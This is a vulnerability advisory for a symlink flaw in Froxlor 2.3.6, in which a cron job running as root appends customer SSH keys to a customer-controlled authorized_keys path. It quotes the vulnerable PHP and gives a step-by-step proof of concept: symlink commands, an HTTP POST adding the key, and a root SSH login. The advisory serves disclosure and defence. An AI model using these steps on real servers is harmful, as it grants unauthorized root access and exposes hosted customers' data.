CVE-2026-41236 — froxlor

Summary

Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.

If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.

Details

The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():

// customer_ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
    $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key");
    Commands::get()->apiCall('SshKeys.add', Request::postAll());
}

On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:

// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell_allowed') != '1') {
    throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}

$ins_stmt = Database::prepare("
    INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`.
");
Settings::AddTask('rebuildnssusers');

Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:

// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');
if (!file_exists($authkeysfile)) {
    touch($authkeysfile);
}

The helper used here only normalizes the path string and does not resolve or reject symlinks:

// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
    $file = str_replace('//', '/', $file);
    $file = str_replace('\\', '', $file);
    return $file;
}

The root-owned sync code then appends attacker-controlled SSH key material to the derived path:

// lib/Froxlor/Cron/System/SshKeys.php:94-103
file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);

Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized_keys before the privileged synchronization step runs.

PoC

An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.

Relevant runtime prerequisites:

• the attacker controls a customer-owned home directory on the target host
• the attacking customer has shell_allowed=1
• the attacker can submit SSH keys through the Froxlor panel
• Froxlor's master cron runs with the intended root privileges

Complete PoC flow:

1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:

mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys

1. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:

POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>

csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host

1. Wait for Froxlor's master cron to process the queued REBUILD_NSSUSERS task.
2. Use the corresponding private key to authenticate as root:

ssh -i id_ed25519 [email protected]

Result:

• the root-owned cron task follows the symlinked authorized_keys path
• the submitted public key is appended to /root/.ssh/authorized_keys
• SSH access as root succeeds with the attacker's key pair

Impact

This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.